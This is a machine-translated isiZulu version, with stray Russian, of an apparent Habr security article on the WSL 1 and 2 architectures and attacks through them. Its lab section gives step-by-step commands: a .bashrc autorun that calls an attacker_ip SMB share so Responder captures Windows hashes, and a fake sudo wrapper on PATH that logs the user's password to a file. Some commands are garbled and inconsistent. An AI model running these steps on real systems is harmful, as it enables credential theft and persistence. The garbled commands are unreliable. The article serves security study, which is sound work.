Sawubona, habr! I-OTUS yethula uhlelo olusha lwezifundo ngo-Okthoba . Njengoba silindele ukuqala kwezifundo, sabelana nawe ngesihloko esibhalwe omunye wothisha bethu, u-Alexander Kolesnikov.
Ngo-2016, iMicrosoft yethula ubuchwepheshe obusha be-WSL emphakathini we-IT (Windows Subsystem ye Linux), okwathi ngokuzayo kwenza kwaba nokwenzeka ukuhlanganisa izimbangi ezazingalungiseki ngaphambilini ezazilwela ukuduma phakathi kwabasebenzisi abajwayelekile nabathuthukisiwe be-OS: IWindows neLinux. Lobu buchwepheshe kwenze kwaba nokwenzeka ukusebenzisa amathuluzi e-Linux OS endaweni ye-Windows ngaphandle kwesidingo sokusebenzisa i-Linux, isibonelo, ukusebenzisa i-Multi-boot. Ku-Habr ungathola inombolo enkulu yezindatshana ezichaza izinzuzo zokusebenzisa i-WSL. Kodwa-ke, ngeshwa, ngesikhathi sokudalwa kwalesi sihloko, azikho izifundo mayelana nokuphepha kwe-symbiosis yezinhlelo zokusebenza ezitholwe kulo mthombo. Lokhu okuthunyelwe kuzoba umzamo wokulungisa lokhu. Isihloko sizokhuluma ngezici zezakhiwo ze-WSL 1 kanye ne-2 futhi sihlole izibonelo ezimbalwa zokuhlaselwa kwezinhlelo ezisebenzisa lobu buchwepheshe. I-athikili ihlukaniswe yaba izingxenye ezi-2. Eyokuqala izohlinzeka ngezindlela eziyinhloko zokuhlasela ezicatshangelwayo ezivela ku-Linux ne-Windows. Isihloko sesibili sizobandakanya ukusetha indawo yokuhlola nokukhiqiza kabusha ukuhlaselwa.
I-WSL 1: izici zezakhiwo
Ukuze ungene emanzini anembe kakhulu ezindabeni zokuphepha ze-WSL, kuyadingeka ukunquma ama-nuances abalulekile ahlobene nokusetshenziswa kwesistimu engaphansi. Omunye wemisebenzi eyinhloko yomsebenzisi exazululwe yi-WSL yikhono lokusebenza ngetheminali ye-Linux kumsingathi osebenzisa i-Windows OS. Futhi, ukuhambisana okunikezwayo bekungokwemvelo kangangokuthi okusebenzisekayo kwe-Linux (ELFs) kungasebenza ngokuqondile kusistimu ye-Windows. Ukufeza lezi zinhloso, kwakhiwe uhlelo olungaphansi olukhethekile ku-Windows 10 olukuvumela ukuthi usebenzise izinhlelo zokusebenza ze-Linux usebenzisa isethi yezingcingo zesistimu ezithile - ngakho-ke, kwenziwa umzamo wokufaka imephu isethi yama-syscalls e-Linux ku-Windows. Lokhu kwasetshenziswa ngokoqobo ngokwengeza abashayeli abasha kanye nefomethi yenqubo entsha. Ngokubukeka kwezakhiwo kwakubukeka kanje:
Eqinisweni, ukusebenzisana nohlelo lokusebenza lwe-Linux kwahlelwa ngamamojula amaningana e-kernel kanye nohlobo olukhethekile lwenqubo - pico. Kusukela kumdwebo ongenhla, ungabona ukuthi inqubo esebenza esimweni se-Linux kumsingathi kufanele kube ngeyendabuko futhi kufanele isebenzise izinsiza ezifanayo njengezinhlelo zokusebenza ze-Windows ezivamile. Kodwa kanjani ukufeza lokhu? Kuphrojekthi Imiqondo yenqubo ye-Windows yathuthukiswa ehlinzeka ngazo zonke izingxenye ezidingekayo zesistimu yokusebenza (kuye ngokuthi inguqulo yayo) ukuze iqalise uhlelo lokusebenza lenye i-OS.
Qaphela ukuthi ukukhishwa okuhlongozwayo kwenze kwaba nokwenzeka ukuthi ungagxili ohlelweni lokusebenza (ikakhulukazi, iWindows), lapho inqubo yenye i-OS kulindeleke ukuthi yethulwe, futhi yaphakamisa indlela evamile.
Ngakho-ke, noma yiluphi uhlelo lokusebenza ngaphakathi kwenqubo ye-pico lungasebenza ngaphandle kokubheka i-Windows kernel:
- Izinkinga zokuhambisana nokuhunyushwa kwezingcingo zesistimu kufanele zixazululwe ngabahlinzeki abakhethekile;
- Ukulawula ukufinyelela kufanele kwenziwe nge-Security Monitor. Imonitha itholakala ku-kernel ngakho-ke iWindows idinga ukuthuthukiswa ngendlela yomshayeli omusha ongasebenza njengomhlinzeki wezinqubo ezinjalo. Inqubo ye-prototype pico yethulwa ngohlelo ngezansi:
Njengoba uhlelo lwefayela le-Linux lisebenzisa amafayela azwela amacala kanye namagama ohla lwemibhalo, izinhlobo ezi-2 zezinhlelo zamafayela zengezwe ku-Windows ukuze zisebenze ne-WSL - VolFS kanye ne-DriveFS. I-VolFS iwukuqaliswa kwesistimu yefayela ye-Linux, i-DriveFS iwuhlelo lwamafayela olusebenza ngokwemithetho ye-Windows, kodwa lunekhono lokukhetha ukuzwela kwecala.
I-WSL 2
I-WSL 1 yayinenani lemikhawulo engazange ikuvumele ukuthi isetshenziselwe ukuxazulula ubuningi bemisebenzi: isibonelo, yayingenawo amandla okusebenzisa izinhlelo zokusebenza ze-32-bit Linux, futhi kwakungenakwenzeka ukusebenzisa izishayeli zedivayisi. Ngakho-ke, ngo-2020, i-WSL 2 yakhululwa, eyashintsha indlela yokwakha uhlelo olungaphansi. I-WSL 2 iwumshini wokubuka olungiselelwe ofana nezici zokusetshenziswa kwensiza ze-WSL 1. Manje, kuye ngezinkinga ezixazululwe umsebenzisi we-Windows OS, ungakhetha inguqulo edingekayo yesistimu engaphansi ye-Linux. Ukuze kuncishiswe ubungozi obungaba khona, i-WSL 2 yasetshenziswa ngokusekelwe ku-Hyper-V ku-Windows 10. Kuleli fomu, i-Windows inamandla okusebenzisa i-kernel yesistimu yokusebenza iyodwa. Kuhle ukukhumbula ukuthi inguqulo 1 ye-WSL yethulwa njengesici se-beta okwakufanele sibonise isiqondiso sokuthuthukiswa kweWindows kule ndawo, ngakho ukushintshela ku-Hyper-V kwakungenakugwemeka. I-architecture yokugcina ibukeka kanje:
Kule nguqulo, ama-kernel e-Windows ne-Linux anezinsiza zawo futhi ukuhlangana kukhona ohlelweni lwefayela kuphela, kodwa lokhu kuhlangana akuphelele. Ukusebenzisana phakathi kwezinhlelo zefayela kwenziwa nge-wrapper yeklayenti-server esebenza kusetshenziswa iphrothokholi ye-9P.
Namuhla iMicrosoft inikeza amandla okushintsha phakathi kwe-WSL 1 ne-WSL 2. Zombili izinguqulo ziyatholakala ukuze zisetshenziswe.
Ukuphepha kwe-WSL
Okwamanje, kunemisebenzi eminingana echaza izindlela ezithile zokusebenzisa amathuluzi e-OS asemthethweni ukuhlasela ukuxhumana phakathi kwamasistimu angaphansi. Sizosebenzisa imibhalo yabo ukuhlola ukufaneleka kokuhlaselwa ngesikhathi sokubhala. Uhlu olujwayelekile lokuhlaselwa nezimo:
1. Ukuqaliswa kwesistimu yefayela: amalungelo okufinyelela, ukutholakala kwezinkomba ezabiwe/izindlela zokushintshanisa idatha.
Ucwaningo lwenziwe ukuze kutholwe ukwephulwa kwemithetho yokufinyelela kusuka Linux FS->Windows FS, Windows FS->Linux FS. Ucwaningo lubonise amandla okushintsha ifayela elinikeziwe ngaphakathi kwe-OS eqondiwe. Kuphinde kwenziwa imizamo yokufaka esikhundleni, ukudala izimpinda kanye nokususa ingxenye yezinhlelo zamafayela.
Isimo:
- A. Ukuhlasela okuvela ohlelweni lokusebenza lwe-Windows - ukuguqulwa kwamafayela kusuka kuhla lwemibhalo / njll lwe-Linux OS.
- B. Ukuhlasela okuvela kusistimu yokusebenza ye-Linux - ukuguqulwa kwamafayela kuzinkomba:
C:Windows,C:Program Files,C:Users<User>
2. Ukusetshenziswa kwesitaki senethiwekhi.
Ucwaningo lwenziwe kusetshenziswa izibonelo zokuhlaselwa okuvela ohlelweni lokusebenza lwe-Linux ku-Windows. Izici zesitaki senethiwekhi zisetshenzisiwe, okungukuthi, izindlela zokuqinisekisa ezinsizeni ezahlukahlukene.
Isimo:
- Ivula ukufinyelela echwebeni elihlala ohlelweni lweWindows
- Ukuvula ichweba ngaphandle kwamalungelo afanelekile
- Isebenzisa igobolondo elibuyela emuva usebenzisa ifayela le-elf kusistimu yokusebenza yeWindows.
3. Ukufihla ukwethulwa kwezinqubo zesofthiwe ezinonya kusetshenziswa isistimu engaphansi ye-WSL.
Ucwaningo belusekelwe eqinisweni elilula - izinhlelo ezingaphansi zokuphepha azikwazi ukuvimba izehlakalo kwenye i-kernel esebenza kusetshenziswa umhlinzeki osemthethweni osuka ohlelweni lokusebenza esimweni se-WSL 1. Esimeni se-WSL 2, ayikho indlela yokubuka izehlakalo ezenzekayo. ku-kernel ehlukile ngaphakathi komshini we-virtual ongasindi.
Isimo:
1) Yethula uhlelo lokusebenza lokufinyelela kude ohlelweni futhi ubuke imicimbi engeniwe.
Ukuhlolwa kwe-WSL 1: i-hash interception (Windows)
Ekugcineni safika engxenyeni ephathekayo. Okokuqala, udinga ukusetha indawo yokuhlola. Konke ukuhlola kuzokwenziwa ebhentshini eline-Windows 10 2004 efakiwe. Isithombe se-Ubuntu 18.04 sikhethwe njengesithombe sesistimu yokusebenza ye-WSL. Isithombe sikhethwe ngokungahleliwe, futhi noma yisiphi esinye sizosebenza ngendlela efanayo. Imiyalo yokusetha isitendi:
Kufanele uqale uqalise powershell.exe njengomlawuli.
Ku-WSL 1 udinga ukusebenzisa imiyalo:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Ngemuva kokuqalisa kabusha isitendi, ungashayela umyalo we-bash. Uma konke kusebenze kahle, uzobona okukhiphayo okufana nalokhu kukhonsoli yeWindows:
Sizosebenzisa ukusatshalaliswa kwe-Kali Linux njengomshini womhlaseli; yonke imishini kufanele ibe kunethiwekhi yendawo efanayo.
Ake sicabange ukuthi sinokufinyelela okungafanele ku-WSL emshinini we-Windows. Ake sizame ukuhlasela isistimu yokusebenza ye-Linux ngokubiza umyalo ovela ku-Linux. Ukuze senze ukuhlasela, sizosebenzisa indlela elula ye-autorun - sizongeza umbhalo wethu ukuze siwusebenzise endaweni ye-Linux. Ukuze wenze lokhu udinga ukushintsha ifayela .bashrc.
Emshinini one-WSL senza:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitEmshinini we-Kali Linux sisebenza:
1. Responder -I eth0 -rdvwEmshinini we-Windows, ake sethule i-bash.
Silindele umphumela emshinini we-Kali Linux:
Ngakho-ke, sithole ama-hashes omsebenzisi we-Windows ngohlelo olungaphansi lwe-WSL ngokwenza umyalo ohlelweni lwe-Linux.
Ukuhlolwa kwe-WSL 1: ukuthola iphasiwedi yomsebenzisi (Linux OS)
Asenze esinye isilingo. Phakathi nalokhu kuhlola sizokwengeza kufayela .bashrc imiyalo eminingana ukuze uthole iphasiwedi yomsebenzisi wesistimu yokusebenza ye-Linux.
Masiqalise i-bash bese sifaka imiyalo:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Ukuze uqedele ngempumelelo ukuhlasela, umsebenzisi uSam udinga ukushayela i-sudo kutheminali ye-Linux. Ngemva kwalokhu, iphasiwedi yomsebenzisi we-Linux OS izoba sefayelini pass.txt:
Ukuqaliswa kokuhlaselwa kwanikezwa ulwazi lwethiyori kuphela.
Ingxenye elandelayo ye-athikili izochaza ukuqaliswa kwephrothokholi ye-9P, cabangela ukwakhiwa kwesithwebuli sale phrothokholi, futhi wenze ukuhlasela usebenzisa.
Uhlu lwezincwadi ezisetshenzisiwe
Funda kabanzi
Source: www.habr.com